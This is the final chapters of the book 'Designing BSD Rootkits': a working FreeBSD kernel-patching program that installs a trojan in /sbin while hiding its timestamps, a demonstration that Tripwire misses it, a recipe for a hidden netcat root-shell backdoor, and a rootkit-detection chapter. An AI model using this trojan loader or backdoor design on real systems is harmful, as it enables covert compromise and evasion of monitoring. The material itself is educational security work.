c06c0ea2:       c3                      ret    
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c06c0ea3:       8b 41 10                mov    0x10(%ecx),%eax
c06c0ea6:       f6 40 6e 20             testb  $0x20,0x6e(%eax)
c06c0eaa:       75 d8                   jne    c06c0e84 <ufs_itimes+0x24>
c06c0eac:       83 ca 40                or     $0x40,%edx
c06c0eaf:       89 53 10                mov    %edx,0x10(%ebx)
c06c0eb2:       8b 41 10                mov    0x10(%ecx),%eax
c06c0eb5:       f6 40 6c 01             testb  $0x1,0x6c(%eax)
c06c0eb9:       75 d8                   jne    c06c0e93 <ufs_itimes+0x33>
c06c0ebb:       90                      nop    
c06c0ebc:       8d 74 26 00             lea    0x0(%esi),%esi
c06c0ec0:       8d 75 f0                lea    0xfffffff0(%ebp),%esi
c06c0ec3:       89 34 24                mov    %esi,(%esp)
c06c0ec6:       e8 f5 08 ef ff          call   c05b17c0 <vfs_timestamp>
c06c0ecb:       8b 53 10                mov    0x10(%ebx),%edx
c06c0ece:       f6 c2 01                test   $0x1,%dl
c06c0ed1:       74 3d                   je     c06c0f10 <ufs_itimes+0xb0>
c06c0ed3:       8b 43 0c                mov    0xc(%ebx),%eax
c06c0ed6:       83 78 14 01             cmpl   $0x1,0x14(%eax)
c06c0eda:       0f 84 bd 00 00 00       je     c06c0f9d <ufs_itimes+0x13d>
c06c0ee0:       8b 45 f0                mov    0xfffffff0(%ebp),%eax
c06c0ee3:       8b 93 80 00 00 00       mov    0x80(%ebx),%edx
c06c0ee9:       89 c1                   mov    %eax,%ecx
c06c0eeb:       89 42 20                mov    %eax,0x20(%edx)
c06c0eee:       c1 f9 1f                sar    $0x1f,%ecx
c06c0ef1:       89 4a 24                mov    %ecx,0x24(%edx)
c06c0ef4:       8b 43 0c                mov    0xc(%ebx),%eax
c06c0ef7:       83 78 14 01             cmpl   $0x1,0x14(%eax)
c06c0efb:       0f 84 f1 00 00 00       je     c06c0ff2 <ufs_itimes+0x192>
c06c0f01:       8b 93 80 00 00 00       mov    0x80(%ebx),%edx
c06c0f07:       8b 46 04                mov    0x4(%esi),%eax
c06c0f0a:       89 42 44                mov    %eax,0x44(%edx)
c06c0f0d:       8b 53 10                mov    0x10(%ebx),%edx
c06c0f10:       f6 c2 04                test   $0x4,%dl
c06c0f13:       74 45                   je     c06c0f5a <ufs_itimes+0xfa>
c06c0f15:       8b 43 0c                mov    0xc(%ebx),%eax
c06c0f18:       83 78 14 01             cmpl   $0x1,0x14(%eax)
c06c0f1c:       0f 84 bf 00 00 00       je     c06c0fe1 <ufs_itimes+0x181>
c06c0f22:       8b 45 f0                mov    0xfffffff0(%ebp),%eax
c06c0f25:       8b 93 80 00 00 00       mov    0x80(%ebx),%edx
c06c0f2b:       89 c1                   mov    %eax,%ecx
c06c0f2d:       89 42 28                mov    %eax,0x28(%edx)
c06c0f30:       c1 f9 1f                sar    $0x1f,%ecx
c06c0f33:       89 4a 2c                mov    %ecx,0x2c(%edx)
c06c0f36:       8b 43 0c                mov    0xc(%ebx),%eax
c06c0f39:       83 78 14 01             cmpl   $0x1,0x14(%eax)
c06c0f3d:       0f 84 8d 00 00 00       je     c06c0fd0 <ufs_itimes+0x170>
c06c0f43:       8b 93 80 00 00 00       mov    0x80(%ebx),%edx
c06c0f49:       8b 46 04                mov    0x4(%esi),%eax
c06c0f4c:       89 42 40                mov    %eax,0x40(%edx)
c06c0f4f:       83 43 2c 01             addl   $0x1,0x2c(%ebx)
c06c0f53:       8b 53 10                mov    0x10(%ebx),%edx
c06c0f56:       83 53 30 00             adcl   $0x0,0x30(%ebx)
c06c0f5a:       f6 c2 02                test   $0x2,%dl
c06c0f5d:       0f 84 30 ff ff ff       je     c06c0e93 <ufs_itimes+0x33>
c06c0f63:       8b 43 0c                mov    0xc(%ebx),%eax
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c06c0f66:       83 78 14 01             cmpl   $0x1,0x14(%eax)
c06c0f6a:       74 56                   je     c06c0fc2 <ufs_itimes+0x162>
c06c0f6c:       8b 45 f0                mov    0xfffffff0(%ebp),%eax
c06c0f6f:       8b 93 80 00 00 00       mov    0x80(%ebx),%edx
c06c0f75:       89 c1                   mov    %eax,%ecx
c06c0f77:       89 42 30                mov    %eax,0x30(%edx)
c06c0f7a:       c1 f9 1f                sar    $0x1f,%ecx
c06c0f7d:       89 4a 34                mov    %ecx,0x34(%edx)
c06c0f80:       8b 43 0c                mov    0xc(%ebx),%eax
c06c0f83:       83 78 14 01             cmpl   $0x1,0x14(%eax)
c06c0f87:       74 25                   je     c06c0fae <ufs_itimes+0x14e>
c06c0f89:       8b 93 80 00 00 00       mov    0x80(%ebx),%edx
c06c0f8f:       8b 46 04                mov    0x4(%esi),%eax
c06c0f92:       89 42 48                mov    %eax,0x48(%edx)
c06c0f95:       8b 53 10                mov    0x10(%ebx),%edx
c06c0f98:       e9 f6 fe ff ff          jmp    c06c0e93 <ufs_itimes+0x33>
c06c0f9d:       8b 93 80 00 00 00       mov    0x80(%ebx),%edx
c06c0fa3:       8b 45 f0                mov    0xfffffff0(%ebp),%eax
c06c0fa6:       89 42 10                mov    %eax,0x10(%edx)
c06c0fa9:       e9 46 ff ff ff          jmp    c06c0ef4 <ufs_itimes+0x94>
c06c0fae:       8b 93 80 00 00 00       mov    0x80(%ebx),%edx
c06c0fb4:       8b 46 04                mov    0x4(%esi),%eax
c06c0fb7:       89 42 24                mov    %eax,0x24(%edx)
c06c0fba:       8b 53 10                mov    0x10(%ebx),%edx
c06c0fbd:       e9 d1 fe ff ff          jmp    c06c0e93 <ufs_itimes+0x33>
c06c0fc2:       8b 93 80 00 00 00       mov    0x80(%ebx),%edx
c06c0fc8:       8b 45 f0                mov    0xfffffff0(%ebp),%eax
c06c0fcb:       89 42 20                mov    %eax,0x20(%edx)
c06c0fce:       eb b0                   jmp    c06c0f80 <ufs_itimes+0x120>
c06c0fd0:       8b 93 80 00 00 00       mov    0x80(%ebx),%edx
c06c0fd6:       8b 46 04                mov    0x4(%esi),%eax
c06c0fd9:       89 42 1c                mov    %eax,0x1c(%edx)
c06c0fdc:       e9 6e ff ff ff          jmp    c06c0f4f <ufs_itimes+0xef>
c06c0fe1:       8b 93 80 00 00 00       mov    0x80(%ebx),%edx
c06c0fe7:       8b 45 f0                mov    0xfffffff0(%ebp),%eax
c06c0fea:       89 42 18                mov    %eax,0x18(%edx)
c06c0fed:       e9 44 ff ff ff          jmp    c06c0f36 <ufs_itimes+0xd6>
c06c0ff2:       8b 93 80 00 00 00       mov    0x80(%ebx),%edx
c06c0ff8:       8b 46 04                mov    0x4(%esi),%eax
c06c0ffb:       89 42 14                mov    %eax,0x14(%edx)
c06c0ffe:       e9 0a ff ff ff          jmp    c06c0f0d <ufs_itimes+0xad>
c06c1003:       8d b6 00 00 00 00       lea    0x0(%esi),%esi
c06c1009:       8d bc 27 00 00 00 00    lea    0x0(%edi),%edi

In this output, the six lines shown in bold (within the disassembly dump) 
each represent a call to DIP_SET, with the last two lines corresponding to the 
ones you want to nop out. The following narrative details how I came to this 
conclusion.

First, within the function ufs_itimes, the macro DIP_SET is called six times, 
in three sets of two. Therefore, within the disassembly, there should be three 
sets of instructions that are somewhat similar. Next, the DIP_SET calls all occur 
after the function vfs_timestamp is called. Therefore, any code occurring 
before the call to vfs_timestamp can be ignored. Finally, because the macro 
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DIP_SET alters a passed parameter, its disassembly (most likely) involves the 
general purpose data registers. Given these criteria, the two mov instructions 
surrounding each sar instruction are the only ones that match.

6.6.2 Example

Listing 6-7 installs trojan_hello into the directory /sbin/ without updating its 
access, modification, or change times. The program first saves the access and 
modification times of /sbin/. Then the function ufs_itimes is patched to pre-
vent updating change times. Next, the binary trojan_hello is copied into /sbin/, 
and /sbin/’s access and modification times are rolled back. Finally, the 
function ufs_itimes is restored.

#include <errno.h>
#include <fcntl.h>
#include <kvm.h>
#include <limits.h>
#include <nlist.h>
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/stat.h>

#define SIZE            450
#define T_NAME          "trojan_hello"
#define DESTINATION     "/sbin/."

/* Replacement code. */
unsigned char nop_code[] =
        "\x90\x90\x90";         /* nop          */

int
main(int argc, char *argv[])
{
        int i, offset1, offset2;
        char errbuf[_POSIX2_LINE_MAX];
        kvm_t *kd;
        struct nlist nl[] = { {NULL}, {NULL}, };
        unsigned char ufs_itimes_code[SIZE];

        struct stat sb;
        struct timeval time[2];

        /* Initialize kernel virtual memory access. */
        kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
        if (kd == NULL) {
                fprintf(stderr, "ERROR: %s\n", errbuf);
                exit(-1);
        }

        nl[0].n_name = "ufs_itimes";

        if (kvm_nlist(kd, nl) < 0) {



Put t ing It  A l l  Togethe r 113

                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        if (!nl[0].n_value) {
                fprintf(stderr, "ERROR: Symbol %s not found\n",
                    nl[0].n_name);
                exit(-1);
        }

        /* Save a copy of ufs_itimes. */
        if (kvm_read(kd, nl[0].n_value, ufs_itimes_code, SIZE) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        /*
         * Search through ufs_itimes for the following two lines:
         *         DIP_SET(ip, i_ctime, ts.tv_sec);
         *         DIP_SET(ip, i_ctimensec, ts.tv_nsec);
         */
        for (i = 0; i < SIZE - 2; i++) {
                if (ufs_itimes_code[i] == 0x89 &&
                    ufs_itimes_code[i+1] == 0x42 &&
                    ufs_itimes_code[i+2] == 0x30)
                        offset1 = i;

                if (ufs_itimes_code[i] == 0x89 &&
                    ufs_itimes_code[i+1] == 0x4a &&
                    ufs_itimes_code[i+2] == 0x34)
                        offset2 = i;
        }

        /* Save /sbin/'s access and modification times. */
        if (stat("/sbin", &sb) < 0) {
                fprintf(stderr, "STAT ERROR: %d\n", errno);
                exit(-1);
        }

        time[0].tv_sec = sb.st_atime;
        time[1].tv_sec = sb.st_mtime;

        /* Patch ufs_itimes. */
        if (kvm_write(kd, nl[0].n_value + offset1, nop_code,
            sizeof(nop_code) - 1) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        if (kvm_write(kd, nl[0].n_value + offset2, nop_code,
            sizeof(nop_code) - 1) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }
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        /* Copy T_NAME into DESTINATION. */
        char string[] = "cp" " " T_NAME " " DESTINATION;
        system(&string);

        /* Roll back /sbin/'s access and modification times. */
        if (utimes("/sbin", (struct timeval *)&time) < 0) {
                fprintf(stderr, "UTIMES ERROR: %d\n", errno);
                exit(-1);
        }

        /* Restore ufs_itimes. */
        if (kvm_write(kd, nl[0].n_value + offset1, &ufs_itimes_code[offset1],
            sizeof(nop_code) - 1) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        if (kvm_write(kd, nl[0].n_value + offset2, &ufs_itimes_code[offset2],
            sizeof(nop_code) - 1) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        /* Close kd. */
        if (kvm_close(kd) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        /* Print out a debug message, indicating our success. */
        printf("Y'all just mad. Because today, you suckers got served.\n");

        exit(0);
}

Listing 6-7: trojan_loader.c

NOTE We could have patched ufs_itimes (in four additional spots) to prevent the access, 
modification, and change times from updating on all files. However, we want to be as 
subtle as possible; hence, we rolled back the access and modification times instead.

6.7 Proof of Concept: Faking Out Tripwire

In the following output, I run the rootkit developed in this chapter against 
Tripwire, which is arguably the most common and well-known HIDS.

First, I execute the command tripwire --check to validate the integrity of 
the filesystem. Next, the rootkit is installed to trojan the binary hello (which 
is located within /sbin/). Finally, I execute tripwire --check again to audit the 
filesystem and see if the rootkit is detected.

NOTE Because the average Tripwire report is rather detailed and lengthy, I have omitted any 
extraneous or redundant information from the following output to save space.
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$ sudo tripwire --check
Parsing policy file: /usr/local/etc/tripwire/tw.pol
*** Processing Unix File System ***
Performing integrity check...
Wrote report file: /var/db/tripwire/report/slavetwo-20070305-072935.twr

Tripwire(R) 2.3.0 Integrity Check Report

Report generated by:          root
Report created on:            Mon Mar 5 07:29:35 2007
Database last updated on:     Mon Mar 5 07:28:11 2007
. . .

Total objects scanned:  69628
Total violations found:  0

=============================================================================
Object Summary:
=============================================================================

-----------------------------------------------------------------------------
# Section: Unix File System
-----------------------------------------------------------------------------

No violations.

=============================================================================
Error Report:
=============================================================================

No Errors

-----------------------------------------------------------------------------
*** End of report ***

Tripwire 2.3 Portions copyright 2000 Tripwire, Inc. Tripwire is a registered
trademark of Tripwire, Inc. This software comes with ABSOLUTELY NO WARRANTY;
for details use --version. This is free software which may be redistributed
or modified only under certain conditions; see COPYING for details.
All rights reserved.
Integrity check complete.
$ hello
May the force be with you.
$ sudo ./trojan_loader
Y'all just mad. Because today, you suckers got served.
$ sudo kldload ./incognito-0.3.ko
$ kldstat
Id Refs Address    Size     Name
 1    3 0xc0400000 63070c   kernel
 2   16 0xc0a31000 568dc    acpi.ko
$ ls /sbin/t*
/sbin/tunefs
$ hello
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May the schwartz be with you!
$ sudo tripwire --check
Parsing policy file: /usr/local/etc/tripwire/tw.pol
*** Processing Unix File System ***
Performing integrity check...
Wrote report file: /var/db/tripwire/report/slavetwo-20070305-074918.twr

Tripwire(R) 2.3.0 Integrity Check Report

Report generated by:          root
Report created on:            Mon Mar 5 07:49:18 2007
Database last updated on:     Mon Mar 5 07:28:11 2007
. . .

Total objects scanned:  69628
Total violations found:  0

=============================================================================
Object Summary:
=============================================================================

-----------------------------------------------------------------------------
# Section: Unix File System
-----------------------------------------------------------------------------

No violations.

=============================================================================
Error Report:
=============================================================================

No Errors

-----------------------------------------------------------------------------
*** End of report ***

Tripwire 2.3 Portions copyright 2000 Tripwire, Inc. Tripwire is a registered
trademark of Tripwire, Inc. This software comes with ABSOLUTELY NO WARRANTY;
for details use --version. This is free software which may be redistributed
or modified only under certain conditions; see COPYING for details.
All rights reserved.
Integrity check complete.

Wonderful—Tripwire reports no violations.
Of course, there is still more you can do to improve this rootkit. For 

example, you could cloak the system call hooks (as discussed in Section 5.7).

NOTE An offline analysis would have detected the Trojan; after all, you can’t hide within the 
system if the system isn’t running!
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6.8 Concluding Remarks

The purpose of this chapter (believe it or not) wasn’t to badmouth HIDSes, 
but rather to demonstrate what you can achieve by combining the techniques 
described throughout this book. Just for fun, here is another example.

Combine the icmp_input_hook code from Chapter 2 with portions of the 
execve_hook code from this chapter to create a “network trigger” capable of 
executing a user space process, such as netcat, to spawn a backdoor root 
shell. Then, combine that with the process_hiding and port_hiding code from 
Chapter 3 to hide the root shell and connection. Include the module hiding 
routine from this chapter to hide the rootkit itself. And just to be safe, throw 
in the getdirentries_hook code for netcat.

Of course, this rootkit can also be improved upon. For example, because 
a lot of admins set their firewalls/packet filters to drop incoming ICMP 
packets, consider hooking a different *_input function, such as tcp_input.





7
D E T E C T I O N

We’ll now turn to the challenging world 
of rootkit detection. In general, you can 

detect a rootkit in one of two ways: either by 
signature or by behavior. Detecting by signature 

involves scanning the operating system for a particular 
rootkit trait (e.g., inline function hooks). Detecting by 
behavior involves catching the operating system in a 
“lie” (e.g., sockstat(1) lists two open ports, but a port 
scan reveals three).

In this chapter, you’ll learn how to detect the different rootkit techniques 
described throughout this book. Keep in mind, however, that rootkits and 
rootkit detectors are in a perpetual arms race. When one side develops a new 
technique, the other side develops a countermeasure. In other words, what 
works today may not work tomorrow.
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7.1 Detecting Call Hooks

As stated in Chapter 2, call hooking is really all about redirecting function 
pointers. Therefore, to detect a call hook, you simply need to determine 
whether or not a function pointer still points to its original function. For 
example, you can determine if the mkdir system call has been hooked by 
checking its sysent structure’s sy_call member. If it points to any function 
other than mkdir, you’ve got yourself a call hook.

7.1.1 Finding System Call Hooks

Listing 7-1 is a simple program designed to find (and uninstall) system call 
hooks. This program is invoked with two parameters: the name of the system 
call to check and its corresponding system call number. It also has an optional 
third parameter, the string “fix,” which restores the original system call 
function if a hook is found.

NOTE The following program is actually Stephanie Wehner’s checkcall.c; I have made some 
minor changes so that it compiles cleanly under FreeBSD 6. I also made some cosmetic 
changes so that it looks better in print.

#include <fcntl.h>
#include <kvm.h>
#include <limits.h>
#include <nlist.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/sysent.h>

void usage();

int
main(int argc, char *argv[])
{
        char errbuf[_POSIX2_LINE_MAX];
        kvm_t *kd;
        struct nlist nl[] = { { NULL }, { NULL }, { NULL }, };

        unsigned long addr;
        int callnum;
        struct sysent call;

        /* Check arguments. */
        if (argc < 3) {
                usage();
                exit(-1);
        }

        nl[0].n_name = "sysent";
        nl[1].n_name = argv[1];
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        callnum = (int)strtol(argv[2], (char **)NULL, 10);

        printf("Checking system call %d: %s\n\n", callnum, argv[1]);

        kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
        if (!kd) {
                fprintf(stderr, "ERROR: %s\n", errbuf);
                exit(-1);
        }

        /* Find the address of sysent[] and argv[1]. */
        if (�kvm_nlist(kd, nl) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        if (nl[0].n_value)
                printf("%s[] is 0x%x at 0x%lx\n", nl[0].n_name, nl[0].n_type,
                    nl[0].n_value);
        else {
                fprintf(stderr, "ERROR: %s not found (very weird...)\n",
                    nl[0].n_name);
                exit(-1);
        }

        if (!nl[1].n_value) {
                fprintf(stderr, "ERROR: %s not found\n", nl[1].n_name);
                exit(-1);
        }

        /* Determine the address of sysent[callnum]. */
        addr = nl[0].n_value + callnum * sizeof(struct sysent);

        /* Copy sysent[callnum]. */
        if (�kvm_read(kd, addr, &call, sizeof(struct sysent)) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        /* Where does sysent[callnum].sy_call point to? */
        printf("sysent[%d] is at 0x%lx and its sy_call member points to "
            "%p\n", callnum, addr, call.sy_call);

        /* Check if that's correct. */
        �if ((uintptr_t)call.sy_call != nl[1].n_value) {
                printf("ALERT! It should point to 0x%lx instead\n",
                    nl[1].n_value);

                /* Should this be fixed? */
                if (argv[3] && strncmp(argv[3], "fix", 3) == 0) {
                        printf("Fixing it... ");

                        �call.sy_call =(sy_call_t *)(uintptr_t)nl[1].n_value;
                        if (kvm_write(kd, addr, &call, sizeof(struct sysent))
                            < 0) {
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                                fprintf(stderr,"ERROR: %s\n",kvm_geterr(kd));
                                exit(-1);
                        }

                        printf("Done.\n");
                }
        }

        if (kvm_close(kd) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        exit(0);
}

void
usage()
{
        fprintf(stderr,"Usage:\ncheckcall [system call function] "
            "[call number] <fix>\n\n");
        fprintf(stderr, "For a list of system call numbers see "
            "/sys/sys/syscall.h\n");
}

Listing 7-1: checkcall.c

Listing 7-1 first � retrieves the in-memory address of sysent[] and the 
system call to be checked (argv[1]). Next, � a local copy of argv[1]’s sysent 
structure is created. This structure’s sy_call member is then � checked to 
make sure that it still points to its original function; if it does, the program 
returns. Otherwise, it means there is a system call hook, and the program 
continues. If the optional third parameter is present, sy_call is � adjusted to 
point to its original function, effectively uninstalling the system call hook.

NOTE The checkcall program only uninstalls the system call hook; it doesn’t remove it from 
memory. Also, if you pass an incorrect system call function and number pair, checkcall 
can actually damage your system. However, the point of this example is that it details 
(in code) the theory behind detecting any call hook.

In the following output, checkcall is run against mkdir_hook (the mkdir 
system call hook developed in Chapter 2) to demonstrate its functionality.

$ sudo kldload ./mkdir_hook.ko
$ mkdir 1
The directory "1" will be created with the following permissions: 777
$ sudo ./checkcall mkdir 136 fix
Checking system call 136: mkdir

sysent[] is 0x4 at 0xc08bdf60
sysent[136] is at 0xc08be5c0 and its sy_call member points to 0xc1eb8470
ALERT! It should point to 0xc0696354 instead
Fixing it... Done.
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$ mkdir 2
$ ls –l
. . .
drwxr-xr-x  2 ghost  ghost   512 Mar 23 14:12 1
drwxr-xr-x  2 ghost  ghost   512 Mar 23 14:15 2

As you can see, the hook is caught and uninstalled.
Because checkcall works by referencing the kernel’s in-memory symbol 

table, patching this table would defeat checkcall. Of course, you could get 
around this by referencing a symbol table on the filesystem, but then you 
would be susceptible to a file redirection attack. See what I meant earlier by 
a perpetual arms race?

7.2 Detecting DKOM

As stated in Chapter 3, DKOM is one of the most difficult-to-detect rootkit 
techniques. This is because you can unload a DKOM-based rootkit from 
memory after patching, which leaves almost no signature. Therefore, in 
order to detect a DKOM-based attack, your best bet is to catch the operating 
system in a “lie.” To do this, you should have a good understanding of what 
is considered normal behavior for your system(s).

NOTE One caveat to this approach is that you can’t trust the APIs on the system you are 
checking.

7.2.1 Finding Hidden Processes

Recall from Chapter 3 that in order to hide a running process with DKOM, 
you need to patch the allproc list, pidhashtbl, the parent process’s child list, 
the parent process’s process-group list, and the nprocs variable. If any of these 
objects is left unpatched, it can be used as the litmus test to determine whether 
or not a process is hidden.

However, if all of these objects are patched, you can still find a hidden 
process by checking curthread before (or after) each context switch, since 
every running process stores its context in curthread when it executes. You 
can check curthread by installing an inline function hook at the beginning 
of mi_switch.

NOTE Because the code to do this is rather lengthy, I’ll simply explain how it’s done and leave 
the actual code to you.

The mi_switch function implements the machine-independent prelude to 
a thread context switch. In other words, it handles all the administrative tasks 
required to perform a context switch, but not the context switch itself. (Either 
cpu_switch or cpu_throw performs the actual context switch.)

Here is the disassembly of mi_switch:

$ nm /boot/kernel/kernel | grep mi_switch
c063e7dc T mi_switch
$ objdump -d --start-address=0xc063e7dc /boot/kernel/kernel
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/boot/kernel/kernel:     file format elf32-i386-freebsd             
                                                                    
Disassembly of section .text:                                       
                                                                    
c063e7dc <mi_switch>:                                               
c063e7dc:       55                      push   %ebp                 
c063e7dd:       89 e5                   mov    %esp,%ebp            
c063e7df:       57                      push   %edi                 
c063e7e0:       56                      push   %esi                 
c063e7e1:       53                      push   %ebx                 
c063e7e2:       83 ec 30                sub    $0x30,%esp           
c063e7e5:       64 a1 00 00 00 00       mov    �%fs:0x0,%eax         
c063e7eb:       89 45 d0                mov    %eax,0xffffffd0(%ebp)
c063e7ee:       8b 38                   mov    (%eax),%edi          
. . .

Assuming that your mi_switch hook is going to be installed on a wide range 
of systems, you can use the fact that mi_switch always accesses � the %fs segment 
register (which is, of course, curthread) as your placeholder instruction. That is, 
you can use 0x64 in a manner similar to how we used 0xe8 in Chapter 5’s mkdir 
inline function hook.

With regard to the hook itself, you can either write something very simple, 
such as a hook that prints out the process name and PID of the currently run-
ning thread (which, given enough time, would give you the “true” list of 
running processes on your system) or write something very complex, such as 
a hook that checks whether the current thread’s process structure is still linked 
in allproc.

Regardless, this hook will add a substantial amount of overhead to your 
system’s thread-scheduling algorithm, which means that while it’s in place, 
your system will become more or less unusable. Therefore, you should also 
write an uninstall routine.

Also, because this is a rootkit detection program and not a rootkit, I would 
suggest that you allocate kernel memory for your hook the “proper” way—
with a kernel module. Remember, the algorithm to allocate kernel memory 
via run-time patching has an inherent race condition, and you don’t want to 
crash your system while checking for hidden processes.

That’s it. As you can see, this program is really just a simple inline function 
hook, no more complex than the example from Chapter 5.

NOTE Based on the process-hiding routine from Chapter 3, you can also detect a hidden process 
by checking the UMA zone for processes. First, select an unused flag bit from p_flag. 
Next, iterate through all of the slabs/buckets in the UMA zone and find all of the 
allocated processes; lock each process and clear the flag. Then, iterate through allproc 
and set the flag on each process. Finally, iterate through the processes in the UMA zone 
again, and look for any processes that don’t have the flag set. Note that you’ll need to 
hold allproc_lock the entire time you are doing this to prevent races that would 
result in false positives; you can use a shared lock, though, to avoid starving the
system too much.1

1  Of course, all of this just means that my process-hiding routine needs to patch the UMA zone 
for processes and threads. Thanks, John.
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7.2.2 Finding Hidden Ports

Recall from Chapter 3 that we hid an open TCP-based port by removing its 
inpcb structure from tcbinfo.listhead. Compare that with hiding a running 
process, which involves removing its proc structure from three lists and a hash 
table, as well as adjusting a variable. Seems a little imbalanced, doesn’t it? 
The fact is, if you want to completely hide an open TCP-based port, you need 
to adjust one list (tcbinfo.listhead), two hash tables (tcbinfo.hashbase and 
tcbinfo.porthashbase), and one variable (tcbinfo.ipi_count). But there is one 
problem.

When data arrives for an open TCP-based port, its associated inpcb 
structure is retrieved through tcbinfo.hashbase, not tcbinfo.listhead. In 
other words, if you remove an inpcb structure from tcbinfo.hashbase, the 
associated port is rendered useless (i.e., no one can connect to or exchange 
data with it). Consequently, if you want to find every open TCP-based port 
on your system, you just need to iterate through tcbinfo.hashbase.

7.3 Detecting Run-Time Kernel Memory Patching

There are essentially two types of run-time kernel memory patching attacks: 
those that employ inline function hooks and those that don’t. I’ll discuss 
detecting each in turn.

7.3.1 Finding Inline Function Hooks

Finding an inline function hook is rather tedious, which also makes it some-
what difficult. You can install an inline function hook just about anywhere, 
as long as there is enough room within the body of your target function, and 
you can use a variety of instructions to get the instruction pointer to point to 
a region of memory under your control. In other words, you don’t have to 
use the exact jump code presented in Section 5.6.1.

What this means is that in order to detect an inline function hook you 
need to scan, more or less, the entire range of executable kernel memory 
and look through each unconditional jump instruction.

In general, there are two ways to do this. You could look through each 
function, one at a time, to see if any jump instructions pass control to a region 
of memory outside the function’s start and end addresses. Alternately, you 
could create an HIDS that works with executable kernel memory instead of 
files; that is, you first scan your memory to establish a baseline and then 
periodically scan it again, looking for differences.

7.3.2 Finding Code Byte Patches

Finding a function that has had its code patched is like looking for a needle 
in a haystack, except that you don’t know what the needle looks like. Your 
best bet is to create (or use) an HIDS that works with executable kernel 
memory.
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NOTE In general, it’s much less tedious to detect run-time kernel memory patching through 
behavioral analysis.

7.4 Concluding Remarks

As you can probably tell by the lack of example code in this chapter, rootkit 
detection isn’t easy. More specifically, developing and writing a generalized 
rootkit detector isn’t easy, for two reasons. First, kernel-mode rootkits are on 
a level playing field with detection software (i.e., if something is guarded, it 
can be bypassed, but the reverse is also true—if something is hooked, it can 
be unhooked).2 Second, the kernel is a very big place, and if you don’t know 
specifically where to look, you have to look everywhere.

This is probably why most rootkit detectors are designed as follows: First, 
someone writes a rootkit that hooks or patches function A, and then some-
one else writes a rootkit detector that guards function A. In other words, most 
rootkit detectors are of the one-shot fix variety. Therefore, it’s an arms race, 
with the rootkit authors dictating the pace and the anti-rootkit authors 
constantly playing catch-up.

In short, while rootkit detection is necessary, prevention is the best 
course.

NOTE I purposely left prevention out of this book because there are pages upon pages dedicated 
to the subject (i.e., all the books and articles about hardening your system), and I don’t 
have anything to add.

2  There is an exception to this rule, however, that favors detection. You can detect a rootkit 
through a service, which it provides, that can’t be cut off; the inpcb example in Section 7.2.2 is 
an example. Of course, this is not always easy or even possible.



C L O S I N G  W O R D S

The word rootkit tends to have a negative connotation, but rootkits are just 
systems programs. The techniques outlined in this book can be—and have 
been—used for both “good” and “evil.” Regardless, I hope this book has 
inspired you to do some kernel hacking of your own, whether it be writing a 
rootkit, writing a device driver, or just parsing through the kernel source.

Before wrapping up, three additional points are worth mentioning. First, 
unless you are writing a rootkit for educational purposes, you should try to 
keep it as simple as possible; being fancy, only introduces errors. Second, like 
writing any piece of kernel code, be mindful of concurrency issues (both uni-
processor and SMP), race conditions, and how you transition between kernel 
and user space; or else, be prepared for a kernel panic. Finally, remember that 
you only need to find a handful of reliable, unguarded locations in order for 
your rootkit to be successful, while the anti-rootkit crowd needs to defend, 
more or less, the entire kernel—and the kernel is a very big place.

Happy hacking!
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Designing BSD Rootkits was laid out in Adobe FrameMaker. The font families 
used are New Baskerville for body text, Futura for headings and tables, and 
Dogma for titles.

The book was printed and bound at Malloy Incorporated in Ann Arbor, 
Michigan. The paper is Glatfelter Thor 60# Antique, which is made from 
50 percent recycled materials, including 30 percent postconsumer content. 
The book uses a RepKover binding, which allows it to lay flat when open.



U P D A T E S

You can download the code from the book, as well as find updates, errata, and 
other information at www.nostarch.com/rootkits.htm.





Though rootkits have a fairly negative image, they 
can be used for both good and evil. Designing BSD 
Rootkits arms you with the knowledge you need to write 
offensive rootkits, to defend against malicious ones, and 
to explore the FreeBSD kernel and operating system in 
the process.

Organized as a tutorial, Designing BSD Rootkits will 
teach you the fundamentals of programming and 
developing rootkits under the FreeBSD operating system. 
Author Joseph Kong’s goal is to make you smarter, not 
to teach you how to write exploits or launch attacks. 
You’ll learn how to maintain root access long after gain-
ing access to a computer, and how to hack FreeBSD. 

Kong’s liberal use of examples assumes no prior 
kernel-hacking experience but doesn’t water down 
the information. All code is thoroughly described and 
analyzed, and each chapter contains at least one 
real-world application.
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Included:

• The fundamentals of FreeBSD kernel-module programming

• Using call hooking to subvert the FreeBSD kernel

• Directly manipulating the objects that the kernel 
depends upon for its internal record-keeping

• Patching kernel code resident in main memory;
in other words, altering the kernel’s logic while it’s
still running

• How to defend against the attacks described

So go right ahead. Hack the FreeBSD kernel yourself!
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Tinkering with computers has always been a primary 
passion of author Joseph Kong. He is a self-taught 
programmer who dabbles in information security, 
operating system theory, reverse engineering, and 
vulnerability assessment. He has written for Phrack 
Magazine and was a system administrator for the City 
of Toronto.
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